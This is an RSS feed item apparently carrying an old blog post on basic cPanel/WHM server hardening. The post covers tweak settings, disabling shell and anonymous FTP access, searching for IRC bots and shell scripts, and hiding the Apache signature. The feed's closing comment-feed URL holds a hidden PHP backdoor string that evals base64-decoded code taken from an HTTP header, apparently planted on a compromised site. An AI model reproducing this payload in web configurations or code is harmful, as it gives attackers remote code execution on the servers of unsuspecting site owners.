<p><!--adsense--></p>
<p>We do not guaranty that the following steps will make your server hack proof, but it will greatly reduce your chances of compromise.</p>
<p>Basic Steps to Securing CPanel (Linux based OS):</p>
<p>These are items inside of WHM/Cpanel that should be changed to secure your server.</p>
<p>Goto Server Setup =&gt;&gt; Tweak Settings</p>
<p>Check the following items&#8230;</p>
<p>Under Domains<br />
Prevent users from parking/adding on common internet domains. (ie hotmail.com, aol.com)</p>
<p>Under Mail<br />
Attempt to prevent pop3 connection floods<br />
Default catch-all/default address behavior for new accounts &#8211; blackhole</p>
<p>Under System<br />
Use jailshell as the default shell for all new accounts and modified accounts</p>
<p>Goto Server Setup =&gt;&gt; Tweak Security<br />
Enable php open_basedir Protection<br />
Enable mod_userdir Protection<br />
Disabled Compilers for unprivileged users.</p>
<p>Goto Server Setup =&gt;&gt; Manage Wheel Group Users<br />
Remove all users except for root and your main account from the wheel group.</p>
<p>Goto Server Setup =&gt;&gt; Shell Fork Bomb Protection<br />
Enable Shell Fork Bomb/Memory Protection</p>
<p>When setting up Feature Limits for resellers in Resellers =&gt;&gt; Reseller Center, under Privileges always disable Allow Creation of Packages with Shell Access and enable Never allow creation of accounts with shell access; under Root Access disable All Features.</p>
<p>Goto Service Configuration =&gt;&gt; FTP Configuration<br />
Disable Anonymous FTP</p>
<p>Goto Account Functions =&gt;&gt; Manage Shell Access<br />
Disable Shell Access for all users (except yourself)</p>
<p>Goto Mysql =&gt;&gt; MySQL Root Password<br />
Change root password for MySQL</p>
<p>Goto Security and run Quick Security Scan and Scan for Trojan Horses often. The following and similar items are not Trojans:<br />
/sbin/depmod<br />
/sbin/insmod<br />
/sbin/insmod.static<br />
<!--adsense--><br />
/sbin/modinfo<br />
/sbin/modprobe<br />
/sbin/rmmod</p>
<p>These are measures that can be taken to secure your server, with SSH access.</p>
<p>Udate OS, Apache and CPanel to the latest stable versions.</p>
<p>This can be done from WHM/CPanel.</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/">Restrict SSH Access</a></p>
<p>Disable Shell Accounts</p>
<p>To disable any shell accounts hosted on your server SSH into server and login as root.</p>
<p>At command prompt type: locate shell.php</p>
<p>Also check for:</p>
<p>locate irc<br />
locate eggdrop<br />
locate bnc<br />
locate BNC<br />
locate ptlink<br />
locate BitchX<br />
locate guardservices<br />
locate psyBNC<br />
locate .rhosts</p>
<p>Note: There will be several listings that will be OS/CPanel related. Examples are</p>
<p>/home/cpapachebuild/buildapache/php-4.3.1/ext/ircg<br />
/usr/local/cpanel/etc/sym/eggdrop.sym<br />
/usr/local/cpanel/etc/sym/bnc.sym<br />
/usr/local/cpanel/etc/sym/psyBNC.sym<br />
/usr/local/cpanel/etc/sym/ptlink.sym<br />
/usr/lib/libncurses.so<br />
/usr/lib/libncurses.a<br />
etc.</p>
<p>Disable identification output for Apache</p>
<p>To disable the version output for proftp, SSH into server and login as root.</p>
<p>At command prompt type: pico /etc/httpd/conf/httpd.conf</p>
<p>Scroll (way) down and change the following line to</p>
<p>ServerSignature Off</p>
<p>Restart Apache</p>
<p>At command prompt type: /etc/rc.d/init.d/httpd restart</p>
<p><a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-chkrootkit/">Install chkrootkit</a></p>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/17/basic-security-configuration-for-a-new-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
